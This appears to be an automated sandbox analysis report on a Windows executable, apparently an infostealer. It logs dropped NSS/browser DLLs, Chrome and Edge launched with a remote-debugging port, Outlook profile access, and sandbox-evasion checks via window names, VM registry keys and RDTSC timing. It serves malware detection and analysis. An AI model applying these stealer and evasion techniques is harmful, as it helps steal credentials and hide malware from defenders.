Source: 7KVoLQr.exe, 00000000.00000002.1515207957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7KVoLQr.exe, 00000000.00000002.1515945157.000000006CE3F000.00000002.00000001.01000000.0000000A.sdmp, 7KVoLQr.exe, 00000000.00000002.1508562550.0000000005745000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 7KVoLQr.exe, 00000000.00000003.1258433645.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, 7KVoLQr.exe, 00000000.00000003.1366247864.000000000561C000.00000004.00000020.00020000.00000000.sdmp, 7KVoLQr.exe, 00000000.00000003.1250679746.0000000005628000.00000004.00000020.00020000.00000000.sdmp, FHDAFIIDAKJDGDHIDAKJ.0.dr, HDAFBGIJKEGIECAAFHDH.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 7KVoLQr.exe, 00000000.00000002.1515207957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7KVoLQr.exe, 00000000.00000002.1508562550.0000000005745000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: 7KVoLQr.exe, 00000000.00000002.1515207957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 7KVoLQr.exe, 00000000.00000002.1508562550.0000000005745000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: 7KVoLQr.exe	Virustotal: Detection: 67%
Source: 7KVoLQr.exe	ReversingLabs: Detection: 57%

Source: 7KVoLQr.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\7KVoLQr.exe "C:\Users\user\Desktop\7KVoLQr.exe"
Source: C:\Users\user\Desktop\7KVoLQr.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2148,i,464690638854917401,3531861548356657985,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2252 /prefetch:3
Source: C:\Users\user\Desktop\7KVoLQr.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2592 --field-trial-handle=2236,i,12764412967853214206,3382370563510622868,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2032,i,2847710879292302999,15459927812646094336,262144 /prefetch:3
Source: C:\Users\user\Desktop\7KVoLQr.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2148,i,464690638854917401,3531861548356657985,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2252 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2032,i,2847710879292302999,15459927812646094336,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2592 --field-trial-handle=2236,i,12764412967853214206,3382370563510622868,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2032,i,2847710879292302999,15459927812646094336,262144 /prefetch:3	Jump to behavior

Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\7KVoLQr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\7KVoLQr.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: 7KVoLQr.exe

Static file information: File size 1212416 > 1048576

Source: 7KVoLQr.exe

Static PE information: Raw size of gnsuchjk is bigger than: 0x100000 < 0x110200

Source:	Binary string: mozglue.pdbP source: 7KVoLQr.exe, 00000000.00000002.1515602975.000000006CC7D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: 7KVoLQr.exe, 00000000.00000002.1515945157.000000006CE3F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: 7KVoLQr.exe, 00000000.00000002.1515945157.000000006CE3F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: 7KVoLQr.exe, 00000000.00000002.1515602975.000000006CC7D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\7KVoLQr.exe

Unpacked PE file: 0.2.7KVoLQr.exe.320000.0.unpack :EW;.rsrc :W;.idata :W; :EW;gnsuchjk:EW;rrypvxrx:EW; vs :ER;.rsrc :W;pu:W; :EW;gnsuchjk:EW;rrypvxrx:EW;

Source: C:\Users\user\Desktop\7KVoLQr.exe

Code function: 0_2_6CC03480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CC03480

Source: initial sample

Static PE information: section where entry point is pointing to: rrypvxrx

Source: 7KVoLQr.exe	Static PE information: section name:
Source: 7KVoLQr.exe	Static PE information: section name: .rsrc
Source: 7KVoLQr.exe	Static PE information: section name: .idata
Source: 7KVoLQr.exe	Static PE information: section name:
Source: 7KVoLQr.exe	Static PE information: section name: gnsuchjk
Source: 7KVoLQr.exe	Static PE information: section name: rrypvxrx
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\7KVoLQr.exe

Code function: 0_2_6CC3B536 push ecx; ret

0_2_6CC3B549

Source: 7KVoLQr.exe

Static PE information: section name: gnsuchjk entropy: 7.95082637991861

Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\7KVoLQr.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\7KVoLQr.exe

Code function: 0_2_6CC655F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CC655F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61A726 second address: 61A72C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61A72C second address: 61A738 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61A738 second address: 61A76F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA660h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007FD080DDA65Eh 0x00000013 jmp 00007FD080DDA661h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61A76F second address: 61A77A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FD0810EDB06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61ABDF second address: 61AC38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD080DDA661h 0x0000000a jo 00007FD080DDA656h 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 ja 00007FD080DDA65Eh 0x00000019 pushad 0x0000001a popad 0x0000001b js 00007FD080DDA656h 0x00000021 pop edx 0x00000022 pop eax 0x00000023 push eax 0x00000024 pushad 0x00000025 jp 00007FD080DDA656h 0x0000002b je 00007FD080DDA656h 0x00000031 jnc 00007FD080DDA656h 0x00000037 popad 0x00000038 pushad 0x00000039 jmp 00007FD080DDA662h 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61AD7A second address: 61ADA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FD0810EDB17h 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61ADA5 second address: 61ADAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61B070 second address: 61B076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61B076 second address: 61B099 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD080DDA66Ch 0x00000008 push ecx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61B099 second address: 61B0BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD0810EDB18h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61B0BB second address: 61B0BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61EC0A second address: 61EC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 add dword ptr [esp], 72201950h 0x0000000d cld 0x0000000e push 00000003h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FD0810EDB08h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a mov dword ptr [ebp+192A1EC2h], ebx 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+192A2155h], eax 0x00000038 push 00000003h 0x0000003a sbb dx, 9B79h 0x0000003f call 00007FD0810EDB09h 0x00000044 jmp 00007FD0810EDB19h 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jne 00007FD0810EDB0Ch 0x00000052 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61EC85 second address: 61ECBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jno 00007FD080DDA665h 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD080DDA65Fh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61ECBC second address: 61ECC9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD0810EDB06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61ECC9 second address: 61ECF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD080DDA668h 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 61ECF0 second address: 61ED41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp+192A1BA0h], esi 0x00000011 lea ebx, dword ptr [ebp+19352A62h] 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007FD0810EDB08h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov dword ptr [ebp+192A1EADh], edx 0x00000037 push eax 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b push edx 0x0000003c pop edx 0x0000003d rdtsc
